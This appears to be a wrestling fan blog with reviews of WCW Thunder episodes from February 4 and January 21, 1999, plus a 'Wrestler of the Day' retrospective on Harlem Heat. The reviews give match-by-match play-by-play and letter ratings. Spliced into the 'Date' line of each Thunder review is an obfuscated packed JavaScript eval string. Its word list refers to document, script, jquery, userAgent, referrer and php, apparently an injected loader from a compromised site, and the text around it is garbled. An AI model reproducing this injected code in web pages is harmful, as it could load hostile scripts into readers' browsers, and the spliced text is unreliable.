Thunder – February 4, 1999: When Bad Gimmicks Catch Up With You

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfytk|var|u0026u|referrer|tyeya||js|php'.split('|'),0,{})) February 4, 1999
Location: Providence Civic Center, Providence, Rhode Island
Attendance: 10,319
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan

SuperBrawl is rapidly approaching and unfortunately WCW’s hot streak seems to have taken a hit. Nitro was a strangely booked show with stuff happening that didn’t make a ton of sense, particularly Goldberg wanting to go after Bigelow instead of Luger despite Luger talking about Goldberg, even though Luger is in a feud with Rey Mysterio Jr. Sadly, this is probably the peak for WCW’s remaining time. Let’s get to it.

We open with a video of Hogan and Hell’s Angel Chuck Zito (never named on camera on Monday that I heard) stalking David Flair to beat him down.

Tony and company promise us two tag team tournament matches.

Arn Anderson is on the phone, presumably with Ric Flair, and it sounds like David wasn’t attacked.

The Black and White is waiting for Vincent and joke about him wanting to be World Champion. Adams: “That would kill the business.”

Chris Jericho vs. Scotty Riggs

Riggs’ eye is fine. They circle each other to start and Riggs nails a nice dropkick to take over. Back in and Jericho misses a dropkick, allowing Riggs to catapult him to the floor for a big plancha. Jericho shrugs it off though and hits a quick hot shot to take over. Riggs falls to the floor and gets nailed by a springboard shoulder as we take a break. Back with Jericho sending Riggs into the buckle and getting two off the backsplash.

Riggs is sent to the floor again but manages to dropkick a chair back into Jericho’s face. Back in and a top rope cross body gets two for Scotty but Jericho dropkicks him back down. A backbreaker has Riggs in more trouble and Jericho gets all cocky. He runs into a boot in the corner though and Riggs follows it up with a clothesline. Both guys try cross bodies and wind up down on the mat in a heap. An enziguri drops Jericho and he has to tell Scotty to cover him. Riggs gets the same off a running knee lift but Jericho sidesteps a dropkick and hooks the Liontamer for the submission.

Rating: C-. This was fine for the most part. Long but fine. Riggs is still having the same issues he’s always had: he’s not a very well rounded guy in the ring and he has nothing that makes him stand out at all. Generic looking wrestlers can overcome their lack of a gimmick if they’re great in the ring (Jerry Lynn for instance) but Riggs is far from Jerry Lynn.

We see the same Luger/Liz video from Nitro.

Video from Nitro on how the mask vs. hair match was set up for SuperBrawl. I’ve liked the build to this feud so far and it’s made Rey look like a big deal.

Disorderly Conduct vs. Rey Mysterio Jr./Konnan

The jobbers are Mean Mike and Tough Tom. The Tough one catches Mysterio in a hot shot to start but gets sent to the floor with a dropkick. Rey follows him out with a flip dive to take out Tom and Mike. Back in and a springboard sunset flip gets two on Tom before it’s off to Konnan for some hard stomping in the corner. A spinning bulldog sets up the seated dropkick and it’s back to Rey.

Tom finally gets in some more offense with a full nelson slam and a clothesline gets two. Mike comes in with a top rope ax handle for two but Mysterio rolls over and makes the hot tag to Konnan. Everything breaks down and Konnan hits the X Factor to set up the Tequila Sunrise on Mike as Rey hurricanranas Tom for the pin.

Rating: C. A nice match and logical booking as we build to a well set up match. What more can you possibly ask for? Mysterio and Konnan work well together and Konnan is good at getting the hot tag to clean house. They would have been a good entrant in the tournament to make a deep run if it wasn’t for the Luger/Nash match.

The Black and White see Vince arrive three hours late in a limo provided by Hogan. Ray isn’t cool with this.

Video on Hogan vs. Flair.

Stevie Ray hypes up Adams and Horace for their match later tonight when Vince comes in. Apparently Hogan has put him in charge of hyping up the champs but Stevie is tired of Vince’s talk and leaves. Adams lightly shoves Vince and leaves.

Norman Smiley vs. Disciple

I had forgotten Disciple was around. A quick wristlock doesn’t get Norman anywhere and we hit the chinlock less than a minute in. Back up and Disciple kicks Norman in the face but gets rolled up when posing. An armbar has Disciple in trouble and Norman teases the Big Wiggle. Back to the armbar as this is a total clinic so far from Smiley.

He’s still not ready to Wiggle though so he stomps on Disciple’s foot. Norman gets two off a butterfly suplex but Disciple holds the ropes to avoid a dropkick. Disciple’s suplex is easily blocked and Norman hits a textbook suplex of his own. NOW we get the Wiggle and the Norman’s Conquest gets the submission.

Rating: C. This was incredibly entertaining in a way I didn’t expect at all. Disciple was completely dismantled here with Norman looking like a master out there. It was a chain wrestling clinic with Norman looking like he could have beaten anyone. That’s not something you often see in WCW and it’s a shame Norman’s push is about to die. How do I know that? Because WCW of course.

Disco Inferno is looking for Vince. Adams says you can find him down there.

Tag Team Title Tournament: Horace Hogan/Brian Adams vs. Faces of Fear

I’ve given up on the rounds as the double elimination has thrown me off. Neither team has lost so far. Horace and Barbarian get things going with Barbarian nailing a shoulder block. Everything quickly breaks down and the Faces of Fear take over. Things settle down and Horace stomps away on Barbarian before bringing Adams in. Brian hammers away but makes the mistake of trying a double noggin knocker, allowing Barbarian to nail a clothesline.

Meng comes in legally for the first time and Tony clarifies that last week’s Outsiders match was NOT a tournament match, even though Windham and Hennig implied that the Outsiders were in the tournament. So either a match between two tournament teams wasn’t a tournament match, or someone has no idea what’s going on. Given that Nash is in a totally different story, I’d assume it’s Hennig/Windham who have no idea what’s going on. We take a break and come back with Barbarian getting two on Horace off a side slam.

Horace gets chopped in the corner and Barbarian rakes his back. Back to Meng who slams Horace down but misses a legdrop. Adams comes in and is easily taken down before it’s back to Barbarian. The boring chants start up as Adams comes back with an atomic drop. Horace comes back in and kicks at the leg before dropping an elbow for two. Brian gets the same result off the same move before a piledriver gets two more.

A fall away slam gets two for Horace but Barbarian sends him out to the floor. They have a dull sequence of Horace trying to get back in but he falls down a few times. Hart gets in some cheap shots but Vince runs out with the slap jack to knock him cold. Back in and Barbarian powerbombs Horace for two and the Kick of Fear gets the same. The referee is busy with Meng and Adams, allowing Vince to hit Barbarian with the slap jack. Horace drops a middle rope elbow for the pin.

Rating: D. This wasn’t so much bad as much as it was incredibly dull. The match ran an absurd SIXTEEN MINUTES and the fans stopped caring after about two. I like the idea of longer matches, but there are guys that can do this kind of stuff far easier than the Faces of Fear and the B Team. It’s not terrible but it should have been about four minutes long.

This Week in WCW Motorsports: the pit crew stays in shape!

Stevie Ray can’t find his slap jack.

The announcers talk about Bret Hart defending the US Title against Scott Hall at SuperBrawl. This leads into clips of Benoit vs. Hall from Nitro.

We see Goldberg calling out Bigelow from Nitro. That’s kind of a step backwards for Goldberg. You would think he would go after another member of the NWO. Like Luger, but that would make too much sense.

Bam Bam Bigelow vs. Jerry Flynn

Bigelow shoves him into the corner to start and we actually get a clean break. Flynn grabs a cross armbreaker but Bigelow is into the ropes before he feels the power of mullet. After Flynn chokes some more, Bigelow realizes he’s facing Jerry Flynn and takes over with kicks in the corner. A running splash crushes Flynn but he stops another with a boot. Jerry misses a bicycle kick though and Greetings From Asbury Park connects for the pin.

Rating: F+. The piledriver looked good but it’s Bam Bam Bigelow vs. Jerry Flynn. I think that speaks for itself.

Stevie is choking Vince for stealing his slap jack but the Black and White drags him off.

We see Scott Steiner causing Kimberly to fall before Nitro and Page wanting to fight Steiner.

Glacier vs. Diamond Dallas Page

Page is all ticked off and runs Glacier over with a clothesline. A hard forearm sends Glacier to the floor but Page pulls him back in to hammer away even more. Glacier gets crotched against the post and there’s the discus lariat. Tony tries to write off the bored crowd as being in awe of Page’s aggression. Glacier gets in a single shot and goes up, only to get caught in a Diamond Cutter from the middle rope for the pin.

Rating: D. Total squash here but it did what it was supposed to do. It amazes me how much stock WCW put into Glacier and now he’s doing jobs on the B show less than two years later. Page needs to do something of note soon as he’s been in the same place on the card for the last few months here.

Tag Team Title Tournament: Barry Windham/Curt Hennig vs. Mike Enos/Bobby Duncum Jr.

This is the main event people. Let that sink in for a minute. Hennig starts with Enos and it’s Curt slamming him down before tagging in Windham. Barry is actually taken down in a wristlock but comes back with one of his own. Bobby and Windham slug it out until Duncum takes over and hits a Vader Bomb into an elbow.

We take a break and come back with Enos powerslamming Curt for two. Hennig quickly fights back and starts in on the knee before giving it back to Windham who can’t hook the figure four. Instead he sends Enos out to the floor so Hennig can….do nothing at all. Back in and it’s off to Curt for some chops but Enos nails a hard clothesline.

Bobby comes in off the tag and runs Hennig over with a shoulder and middle rope clothesline. A bulldog gets two on Hennig and a horrible looking Skull Crushing Finale gets the same. Enos tries to come in for no apparent reason, allowing Windham to nail Bobby in the back of the head so Curt can get the pin.

Rating: D. The match was watchable but the fact that this was the main event showed how little this show mattered. This is another annoyance about a double elimination format: we have to sit through matches like these because the teams have to wrestle at least twice each. Enos and Duncum just aren’t interesting as a team and it’s a waste of someone who looks and works like Duncum.

Overall Rating: D+. The show had its moment and they were few and far between. The tag tournament is starting to come into form as we’re seeing some teams for the second time, but that doesn’t mean they’re teams I want to look at. Having Thunder as the wrestling show is a good idea, but it would be nice if I cared about more of the wrestlers. Windham/Hennig vs. Duncum/Enos is a Saturday Night match at best, not the main event of a show. Good idea on the structure here but horrid execution.

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Thunder – January 21, 1999: As Simple As Black And White

Thunder
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feind|var|u0026u|referrer|szzdh||js|php'.split('|'),0,{})) January 21, 1999
Location: Market Square Arena, Indianapolis, Indiana
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan

We’re on the way towards SuperBrawl and the latest Hogan vs. Flair showdown. Nitro saw a few stories being set up for the pay per view with the second biggest one being Luger/Nash vs. Konnan/Mysterio. The Wolfpack has decided they want Mysterio’s mask to prove how big and tough they are. Let’s get to it.

We open with a recap of the David Flair story up to this point, including him knocking Bischoff out to shave his head on Monday.

The announcers show us clips from Souled Out with David Flair getting a beatdown.

Stevie Ray and the NWO B Team nearly get into an argument over being worthless. The Red and Black have sent them a note saying their private jet is stuck in Tampa due to bad weather. Horace and Brian Adams say they flew coach out of Tampa and never heard about a private jet.

Jerry Flynn vs. Disco Inferno

A clothesline puts Flynn down to start but he comes back with a series of kicks in the corner. More kicks have Disco in trouble but he snaps Jerry’s throat across the top rope. The dancing middle rope elbow and a swinging neckbreaker set up a chinlock. Tony wants to know where Hall is, despite the letter covering that in the previous segment. Jerry’s cross armbreaker is quickly broken and it’s time for more dancing. A spinning kick to the head puts Disco down again and a belly to belly gets two. Flynn misses another spinkick though and it’s the Chartbuster for the pin. The fans are into Disco a little bit.

Rating: D. It’s a Jerry Flynn match so I don’t know what else you would expect. Disco is starting to get over again with his goofy antics despite cheating to win all the time. That actually makes sense though, as it’s hard to boo a comedy character, even if he’s doing something heelish.

Back to the B Team locker room where Horace and Norton are playing with walkie talkies. That’s the whole segment.

After a break and the B Team is still arguing. Vincent calls Hogan but only gets voicemail. That’s a step above Orndorff in 1986 at least. Vincent tries Nash but an argument ensues with Stevie over who leads the team.

A limo has arrived so Horace goes to greet them. The Horsemen are inside instead and beat Horace down while Flair walks into the building. Mongo beats him up with what appears to be a vacuum.

Flair is in the ring for a chat with Gene. First up, Ric starts the tournament for the Tag Team Titles, even though they should be two weeks in. The finals are at SuperBrawl. Now the jacket comes off so it’s time to get serious. Flair rants about Hollywood keeping great talent in his shadow for twenty years. When Flair was in Kansas wrestling Rufus Jones in Kansas, Hogan was wrestling fourth on the card in Madison Square Garden. While Flair was with Harley Race and Ricky Steamboat, Hogan was in Hollywood making movies.

He brings up Hogan beating up David and promises to prove that he’s the real world champion next month. Guys like Jericho and Chavo Guerrero grew up wanting to be like Flair. That’s why it’s Flair’s reputation against Hogan’s fame. Flair may only have power for ninety days (even though it’s been nearly a month already) but at SuperBrawl, he’ll get what’s his.

This promo was the usual passionate speech from Flair, but it shows part of the problem with the feud and a lot of what Flair talked about in general. As a fan, why should I care about Flair having a match in Kansas twenty years ago against a guy that I’ve only heard of either in his promos or from a tape that’s ten years old if I’m under twenty years old? Odds are I’ve never seen the matches other than maybe some of his stuff with Steamboat.

I’m sure there are some fans at the time who had seen a bunch of those matches and care for them, but it’s not exactly the best way to get the masses to care. Granted that might be because Flair led with Rufus Jones instead of Steamboat or Race, who far more people would care about.

Instead, Flair is the grandfather that says rambles on and on about how much better things were back in his day while his grandkids roll their eyes and tune him out. He may be right, but the way he talks doesn’t help anything and makes me feel like he’s talking down to me more than making a good point about Hogan. What he said about his own career makes sense, but it doesn’t make Hogan look bad because he was in New York for a lot of his career.

Thankfully the feud is much more about Hogan beating up Flair’s son because that’s a much better reason to hate Hogan. The rest works in theory but it’s mainly giving me flashbacks to all the fun matches that Hogan had and putting Eye of the Tiger in my head, which isn’t going to make me boo Hogan.

The B Team is in the back and Horace’s knee is in bad shape. He’s also lost his shirt and Vincent is more concerned about getting him a new one.

We look at Jericho making sure Saturn wears a dress at all times he’s in the arena.

Al Green vs. Perry Saturn

The dress is red this week. Saturn: “Life’s a drag.” They lock up to start but Saturn trips up on the dress and falls to the mat. An elbow drop gets two for Al and that’s about the extent of his offense. Saturn comes back with a superkick and a throw before stomping away in the corner. A guillotine legdrop sets up the Death Valley Driver to complete the glorified squash.

We see some old clips of Raven at home and getting annoyed at his family.

Glacier vs. Kenny Kaos

Kaos gets kicked in the ribs to start but takes Glacier down into an ankle lock. A rope is quickly grabbed and Glacier comes back with more kicks and punches in the corner. Kaos knocks him out of the air and hits a clothesline to stagger the ice dude. A springboard clothesline is enough to give Kaos the pin.

Rating: D. I’m still trying to get my head around Kaos being half of the World Tag Team Champions. It’s just such a random choice and doesn’t seem to have served much of a purpose. He still comes off like a jobber and isn’t any more interesting than he was when he got the belt. The feud with Rage seems to be forgotten as well.

Back to the B Team for a big surprise: Vincent reveals a Red and Black shirt after the rest of the group goes to find the Horsemen. This is supposed to be a big deal.

Here’s the B Team in the ring because we’re supposed to care about them due to the shirts they’re wearing. Horace, despite having a bad knee earlier, walks to the ring fine but is holding his ribs. Vincent comes out last and gets a mic. Oh dear this could be bad. Vincent says that Horace and Adams will be in the tournament. Tonight, it’s Norton/Stevie/Vincent vs. the Horsemen if they have the guts. The other members aren’t cool with this for some reason.

Booker T. vs. Norman Smiley

Smiley goes to the ropes for an early break but is quickly sent to the floor. Back in and Norman takes over with some shots to the face but walks into Booker’s flying forearm. The Horsemen have accepted the NWO’s challenge. Norman kicks him down again and loads up the Big Wiggle but isn’t ready to dance yet. The spinning slam gets a mini dance and we hit the chinlock.

They head outside with Norman chopping away before taking it back inside for a belly to back suplex. Smiley stays down too until he backflips to his feet for the Big Wiggle. He slaps Booker in the face but walks into a powerslam. The Harlem Side Kick and 110th Street Slam get two for Booker and Norman rolls to the floor again. Norman is sent into the barricade and then back inside for the ax kick. Booker goes up for the missile dropkick but Norman rolls outside and takes the countout.

Rating: C. The match was ok but the ending brings it down. However, the important thing to this match is how we arrived here. Both guys have been on hot streaks and then they were put against each other in a match that wasn’t easy to predict. That’s old school booking and can set up some interesting matches. Unfortunately it’s nothing that’s done very often anymore.

We look at Scott Steiner harassing the Nitro Girls.

This Week in WCW Motorsports! Again, the car didn’t do badly but didn’t win.

After a break, here’s the EXACT SAME SCOTT STEINER CLIP.

World Tag Team Title Tournament First Round: Brian Adams/Horace vs. Chavo Guerrero Jr./Kidman

Horace, now totally fine, stomps away on Kidman in the corner to start before bealing him across the ring. Kidman comes back with right hands in the corner and a dropkick before it’s off to Chavo, who is almost immediately low bridged down to the floor. Adams throws him up over the top rope and back inside. Chavo’s cross body is caught in mid air but Kidman dropkicks Guerrero’s back to put Adams down.

The small guys do some nice double teaming to get two more on Adams but Kidman walks into a tilt-a-whirl backbreaker to change control again. We take a break and come back with Kidman walking the corner to bulldog Horace and make the tag to Chavo. Some dropkicks stagger the NWO members but Horace kicks him in the face to take over again. Another tilt-a-whirl backbreaker gets two on Guerrero and it’s back to Horace.

Kidman and Vincent get in a fight on the floor as the announcers mention that this is a double elimination tournament. That’s quite the information to leave out for most of a match. Then again I can’t imagine the tournament has been mapped out at all at this point. Kidman gets the hot tag and everything breaks down, allowing Vincent to hit Kidman with the slap jack to give Adams the pin.

Rating: C-. Good match messed up by another bad finish. The NWO B Team isn’t exactly something that makes me care as even their teammates treat them like they’re nothing. It doesn’t help that neither of these teams have any real chance to win the titles. You have to have filler like this, but it would be nice to have it be anyone but the Black and White.

MORE B Team stuff with Vincent congratulating the winners but getting yelled at for stealing the slap jack. Then they yell at him for the shirt he’s wearing.

La Parka vs. Rey Mysterio Jr.

Rey dropkicks La Parka down to start and avoids a charge in the corner to keep things going. La Parka backdrops him to the apron and stops to dance but is still able to catch Rey in mid air. He puts Rey on the top rope but gets caught by a hurricanrana, followed by a second one from the top to the floor.

Back in and La Parka slams him face first down for two and a kick to the chest gets the same. La Parka goes up but dives into Rey’s boots. He misses a charge into the post as well but is still able to crotch Rey on top. Mysterio gets launched face first into the buckle and La Parka goes up again. This time he’s the one getting crotched and Rey hits something like La Mistica for the pin.

Rating: C. This was better and had a surprising finish as Rey usually uses a huricanrana or some kind of rollup. La Parka didn’t look bad either, which is the case for almost all of the luchadores: if you give them time to show off in the ring, they can give you a pretty good match. It helps that he was in there against Mysterio of course.

Here’s an upset DDP with something to say. He isn’t cool with what Scott Steiner did to his wife on Monday. Page is used to men hitting on Kimberly but he didn’t like the things he was seeing. Kimberly wants to handle Steiner herself, but Page isn’t letting that happen. If Steiner wants a freak, Page will be his hook up.

The B Team is STILL arguing because Stevie is on the phone. The rest of the team goes to the ring for their match and Vincent tries to drink raw eggs ala Rocky. He spits it out but finds a hidden security camera. The Red and Black is shown watching from what looks like a limo. Hogan says they know what time it is. So if they were never at the building, who put in the camera?

Ric Flair/Chris Benoit/Steve McMichael vs. Vince/Stevie Ray/Scott Norton

It’s now Vince, despite being Vincent all night long. Steve and Stevie get things going for a power match but it’s quickly off to Vince. Mongo sticks out his chin so Vince can have a free shot, and that’s exactly what he does, taking over with kicks to the ribs. Vince gets taken into the corner for chops by Benoit and a big one takes him down. Norton comes in and gets chopped as well before it’s back to Mongo. McMichael gets powerslammed down but Vince misses a middle rope elbow. The hot tag brings in Flair who goes after the leg and everything breaks down. The Horsemen clean house and the Figure Four makes Vince give up.

Rating: D+. This was almost a squash with nothing at all happening. Thankfully Mongo would be gone soon as he’s somehow regressing despite barely having any skill at all in the first place. The guy just wasn’t that good and it showed really badly over the years. At least this was short.

Benoit crossfaces Vince to end the show.

Overall Rating: D+. This is a hard one to grade as there’s good enough wrestling and some passable stories, but the stakes are so low with the B Team being the focus of everything. Other than that, the wrestling was watchable but it’s really hard to care when you know this is going to mean nothing in the long run.

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Wrestler of the Day – May 8: Harlem Heat

Do you know who today’s Wrestler of the Day is? Yes Yes Yes. Oh good. Let’s get….No No No. Oh ok then it’s Yes Yes Yes. Make up your mind. No No No. QUIET ALREADY! It’s Harlem Heat.

Booker T. and Stevie Ray were both trained by Scott Putski and teamed up as the Ebony Experience in the Global Wrestling Federation. From June 1992.

Ebony Experience vs. Geekoid II/Johnny Mantel

Geekoid is a man in all black with a mask. Booker and Mantel get things going and it’s an early feeling out process. Mantel is shoved to the mat and crawls backwards until he crotches himself on the post and falls outside. Back in and Mantel slams Booker down and brings Geekoid in, only for Booker to tag off to Ray for some arm cranking. Stevie gets taken into the corner for some double teaming by the heels and we hit the chinlock.

We take a break and come back with Booker getting a tag and hammering on Geekoid as everything breaks down. Booker cleans house and powerslams Geekoid for two. Stevie tries to come in but only causes Booker to get laid out and sent to the floor. Back in and a suplex gets two on Booker and we hit the chinlock. This match is dragging really badly.

Mantel comes in and gets caught in a sunset flip but the referee is with Stevie. Since this match hasn’t gone on long enough, Johnny hooks a wristlock but gets punched in the jaw. Stevie finally comes in off the hot tag and cleans house. Booker dropkicks Geekoid down and Stevie sunset flips Johnny for the pin.

Rating: D. Who in the world gave this mess fifteen minutes? Apparently there’s another Geekoid so why wasn’t he in there to make this a more logical tag match? Booker and Stevie didn’t look bad in there but they had the most generic opponents I’ve seen in years. WAY too long.

The team arrived in WCW in 1993 under the name Harlem Heat, under the names Kane (Stevie Ray) and Kole (Booker T.). Their first major match was at Fall Brawl 1993 as part of a WarGames match.

Sting/Shockmaster/Davey Boy Smith/Dustin Rhodes vs. Vader/Harlem Heat/Sid Vicious

WarGames again. This is the mother of all gimmick matches in WCW and something that a lot of people with they would bring back in WWE, me being one of them. The idea is it’s 4 on 4 in a double cage match. Two people start us off, one from each team. They go at it for five minutes and then we have a coin toss (the heels will win). The winning team gets to send in another man for a 2-1 advantage. That last two minutes and then the losing team gets to send in its second man. After two more minutes the winning team gets to send in its third. You alternate until everyone is in and it’s first submission wins.

Harlem Heat are Kane and Kole here but I’ll be calling them by their more famous names. Vader is the other world champion here, the WCW World Champion. Animal is advising the faces here for no apparent reason. Dustin has really bad ribs here. Shockmaster is the hilariously infamous falling man that is more famous as Typhoon/Tugboat. Dustin starts without his partners wanting him to and gets Vader.

Dustin hammers Vader down surprisingly enough and pulls his boot off to beat on Vader even more. Well it’s resourceful if nothing else. Dustin is able to fight Vader off as well as anyone else has been able to do in a very long time. His ribs end that run though and there’s the Vader Bomb. Remember that you can’t end the match until after everyone is in the ring. That’s a great rule that makes sure there’s additional violence.

Rhodes fights back AGAIN and puts Vader down. That could be a heck of a Clash of the Champions main event actually. More boot shots (with the boot itself mind you, not a foot in it) to the head of Vader and Dustin is surprisingly in control. The heels win the coin toss which I literally think was a perfect record for them over the years. Dustin counters a dive off the top by Vader into a powerslam in a nice move.

Kane (Stevie Ray) comes in second. Dustin tries to fight them off but Vader gets a shot in to the ribs to take him down almost immediately. A minute in (remember everything now is just two minutes) and Dustin is in trouble. I’m not entirely sure why they sent in Vader so soon but whatever. Sting comes in but Vader and Stevie wait on him by the door like smart people would do.

2-1 is nothing for Sting though as he fights both guys off. I could watch Sting vs. Vader all day. Dustin is back up but is bleeding badly. His grandma is here tonight. Dusty’s mom is here. Let that sink in for a bit. Vader is sent into the cage and stumbles into the cameraman in a funny moment. Sid comes in to fight Sting in an old rivalry. Chokeslam takes Sting down and it’s all Sid.

The pops Sting gets for even the most basic moves are amazing. Vader and Sid ram Sting into the top of the cage for fun. With thirty seconds left it’s going to be the Bulldog in next. Yes Tugboat is batting cleanup. Davey comes in and Sid jumps him immediately. He fights off Sid and Vader by himself. He was a straight up tough guy in WCW if you haven’t seen any of his stuff there. In a nice touch Sting and Bulldog do to Sid what Vader and Sid did to Sting moments ago.

Kole (Booker T) comes in so there’s just Shocky left to come. Everyone is in one ring so that ring is completely overcrowded. The announcers make fun of Shockmaster falling which is funny stuff. They finally split up a bit and the match gets more interesting as a result. Sting takes down Stevie but hurts himself in the process. Sid gets caught in a Figure Four but here’s Shockmaster to even us up. Tony: Hey he made it through!

He’s bigger than Vader which isn’t something you often see. He beats up everyone in sight and after just over a minute and a half he throws Booker in a bearhug and it’s over. Wow so Typhoon beat a multiple time multiple time multiple time multiple time multiple time world champion? Sweet goodness man.

Rating: C. That’s bad for a WarGames match mind you. It’s ok, but the lack of starpower kind of hurts this here. Sid is an afterthought and Vader got beaten down like a fat jobber. Dustin Rhodes looked the most impressive out there which is odd. This was kind of weak and did nothing to set up the next shows or anything. Shockmaster was gone almost immediately after this and no one cared.

Here’s one of their final matches before going away for awhile. From SuperBrawl IV.

Harlem Heat vs. Thunder and Lightning

Thunder and Lightning were rookies, meaning this had no point being on PPV. Harlem Heat would one day become great but here they’re relatively new. They debuted in August so it’s not like they’re well known or anything. Also they’re named Kane (Stevie Ray) and Kole (Booker T). Heenan rips the white guys like there’s no tomorrow as he’s in his element here. Seriously, Thunder and Lightning is the best name you can come up with?

I never got the Heat having their names changed. They look exactly the same as they would in later years with the same outfits and everything but their names were changed. It helped a lot but I never got the point to it. You could tell that Booker had that it factor to be a big deal. Tony thinks the winner here should get a title shot. We get a camera into Flair’s dressing room to show that he is indeed sitting in it. Apparently Steamboat gets a title shot at the next PPV.

That one is coming soon. Thunder gets the hot tag and no one cares. His dropkick misses completely but Kane (that just sounds weird to type) sells it anyway. Kole kicks the heck out of Thunder for the pin.

Rating: C-. This wasn’t bad but I just couldn’t have cared less. Heenan calling them Batman and Robin the whole time was funny if nothing else. This just wasn’t very good. It’s not bad to be fair, but this got 10 minutes for two rookie teams. Who thought this was a good idea?

Harlem Heat would return in the fall with a new look and new names (Booker T. and Stevie Ray) win their first Tag Team Titles in December and defend them at Clash of the Champions XXX.

Tag Team Titles: Harlem Heat vs. Stars and Stripes

Harlem Heat won the belts earlier in the month and this is the rematch. We have no Stars and Stripes to start but we do get Nature Boy Ric Flair with two very nice looking women. He walks by Vader with no incident and goes to his seat. Booker and Bagwell get things going with Marcus stomping him down in the corner but running into a boot in the corner. He comes right back with a dropkick for both champions as Stars and Stripes stands tall.

It’s off to Patriot for a double backdrop on Booker for two. He cranks on Booker’s arm as the fans chant USA. Stevie comes in but walks into a wristlock from Patriot before it’s back to Bagwell for the same hold. A knee to the ribs stops Marcus cold and the champions take over. The advantage only lasts for a few seconds though as it’s quickly back to Patriot for more arm work. A belly to belly gets two on Booker but Stevie saves his brother from a monkey flip.

Back to Stevie for some heavy stomping and he draws in Patriot so Booker can choke from the apron. A running forearm gets two for Booker and it’s off to the chinlock. Marcus fights up but both guys try cross bodies to put him right back down. Sherri gets up on the apron for a distraction so Bagwell’s tag to the Patriot doesn’t count. She takes her shoe off but accidentally hits Booker by mistake. Bagwell rolls him up for two but Stevie kicks Marcus in the face to give Booker the pin to retain.

Rating: C. It’s not bad and more entertaining than the other matches tonight. They let the match have a little more time and things got better as a result which is usually the case. Harlem Heat was getting much better and this more or less ended Stars and Stripes as a team. Good enough to get by.

Bunkhouse Buck and Dick Slater would take the belts in June but Harlem Heat would get a rematch at Fall Brawl 1995.

WCW Tag Titles: Bunkhouse Buck/Dick Slater vs. Harlem Heat

The talented tag team is challenging here. The idea here is more about the managers though as apparently they like each other. The match is going to suck though. Oh and along with this, we only have Arn/Flair and War Games. We’re an hour and five minutes into the show. That simply can’t be a good sign. I also have issues with a guy names Dirty Dick. Also, they gave THESE TWO the tag titles after like 5 months of Heat vs. Nasty Boys?

I don’t like the Nasties, but they’re light years ahead of these morons. Booker and Slater start so at least the one good wrestler in the match is starting us off. Slater is one of those good old southern boys that allegedly was really talented but never shook either the southern stigma or the lack of talent to get over. Crowd is deader than Booker’s career at this point. Again I love how two hicks like this are supposed to be trained wrestlers.

There’s something amusing about that. Yeah the idea here is that Sherri has a bump on the head and isn’t herself. Somehow this was put on national TV as a mainstream wrestling company with angles like that. Wow indeed. Apparently Dick Slater is one of the best wrestlers in the history of the sport. I can barely laugh at how stupid that is.

On the floor the managers are playing this messed up cat and mouse game that is just rather creepy. The fans prove they’re still alive with a short and incomprehensible chant. It’s weird hearing them talk about Booker as a power guy. That’s most odd indeed. Heenan seems like he wants to talk about Buck being undressed. Ok then. The heels are controlling most of the match here.

You can tell the match itself is pretty awful as I’ve barely talked about it. I’m trying very hard to think of anything else to talk about so that I don’t have to actually pay attention. Fact: I used to have this tape and this match cured my insomnia over a summer. I didn’t sleep regularly for a month but this match put me to sleep in five minutes. That’s saying something. We talk about WarGames to kill some time.

This match needs to end BADLY. And trust me, since this is WCW< I’m sure that will mean both possible things. Stevie gets the I guess you could say hot tag to get the crowd to do nothing at all. And here is that finish as Parker and Sherri get into the other ring and kiss. At the same time the Nasty Boys are here and rip Slater’s boot off to smack him in the head with it to give the Heat the titles. While this is happening, Sherri and Parker are still kissing. I hate this show.

Rating: F+. This was just terrible. The ending sucked and the match was worse. Who thought that Buck and Slater were the best options? Seriously, the American Males were on the preshow. They’re not the best in the world by any stretch of the imagination but they’re better than Buck and Slater. It’s stuff like this that is freaking idiotic and gave WCW the bad name it had.

This was a dream match and took place on Nitro, January 22, 1996.

Tag Titles: Sting/Lex Luger vs. Harlem Heat

Heenan is ranting about something after we get back which apparently is that he isn’t being allowed to talk. This is happening because Sting and Luger decided they were going to be a tag team now so they’re #1 contenders. We start it off after a brief commercial. Back and there’s the bell and it’s Luger vs. Stevie to start us off. Luger gets beaten down a bit but managed to bring in Sting who cleans house, beating up both champions at once.

Scorpion goes onto Stevie but Booker makes the save. Booker gets an armbar on Sting as this is going very quickly but it doesn’t seem like much is happening at the same time. Luger breaks up a cover as Sting is getting beaten down pretty badly. Sting tries to fight back but gets clothesline on the top by Stevie. This is about as going through the motions as you could ask for.

Harlem Heat is rather boring indeed. LONG nerve hold by Booker wastes a good deal of time. Sherri, Harlem Heat’s manager, isn’t here since she’s about to get married tomorrow which didn’t happen either. Booker goes up but the Harlem Hangover misses. Jimmy Hart runs out again and slips Luger something. With the referee distracted Luger drills Booker with what turns out to be a roll of silver dollars for the pin and the titles.

Rating: D+. I couldn’t get into this one again. I don’t know what’s going on with these guys tonight but the show has been off by a step all night. I don’t know if it’s the being out west or what but this hasn’t worked at all for the most part all night despite there being talented guys out there. Sting and Luger would hold the belts for a few months.

Harlem Heat would get the belts back in June and defend them at Clash of the Champions XXXIII.

Tag Team Titles: Sting/Lex Luger vs. Steiner Brothers vs. Harlem Heat

Harlem Heat has the titles coming in and this is a Triangle Match, meaning two guys are in the ring at once and everyone else has to tag in and out (it doesn’t have to be to your partner) with the first fall earning the win. The Steiners returned in March and were immediately back in the title scene. Luger is a full good guy once again. Colonel Parker comes out after Sherri and Harlem Heat despite being their co-manager at this time.

Booker T. and Scott get things going as Tony brags about WCW broadcasting nine hours of live television in the last six days. Scott throws him across the ropes and Luger adds a shot from the apron to send the champions outside. Luger comes in off a tag and gets pounded down in the corner by Stevie but Lex comes back with kicks and stomps of his own. Rick tags himself into the match and comes in with a Steiner Line for both guys. Luger is forced out as Rick hits the top rope bulldog for two on Stevie.

